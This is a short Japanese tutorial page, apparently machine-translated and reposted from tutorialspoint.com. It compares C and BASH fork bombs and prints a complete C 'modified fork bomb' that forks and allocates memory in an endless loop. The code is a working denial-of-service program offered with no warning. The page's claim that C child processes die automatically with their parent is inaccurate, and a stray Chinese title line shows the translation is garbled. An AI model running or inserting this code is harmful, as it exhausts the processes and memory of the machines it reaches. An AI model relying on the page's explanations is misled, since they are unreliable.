ホームページ > バックエンド開発 > C++ > C/C++ において、C vs BASH フォークボムとは、C 言語と BASH 言語のフォークボムを指します。

C/C++ において、C vs BASH フォークボムとは、C 言語と BASH 言語のフォークボムを指します。

WBOY
リリース: 2023-09-14 19:41:02
転載
1412 人が閲覧しました

在C/C++中,C vs BASH Fork bomb的意思是C语言与BASH语言的分叉炸弹

BASH フォーク ボムは、対応する C プログラムよりもはるかに強力であることが確立されています。主な理由は、BASH で作成されたプロセスが親プロセスから切り離されていることです。親プロセス (最初に開始したプロセス) が破棄または終了しても、残りのプロセスは引き続き存在します。ただし、C 実装の場合、親プロセスが破棄または終了すると、リストされた子プロセスは自動的に終了します。スクリプトはシステムとの直接通信を担当します。

C 言語のフォークボムプログラムは更新または変更できます。 fork プロセスを作成するときにプログラムにメモリを割り当てることができます。

次のプログラムは、修正された C フォーク ボムの実装とみなされます -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}
ログイン後にコピー

以上がC/C++ において、C vs BASH フォークボムとは、C 言語と BASH 言語のフォークボムを指します。の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ソース:tutorialspoint.com
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート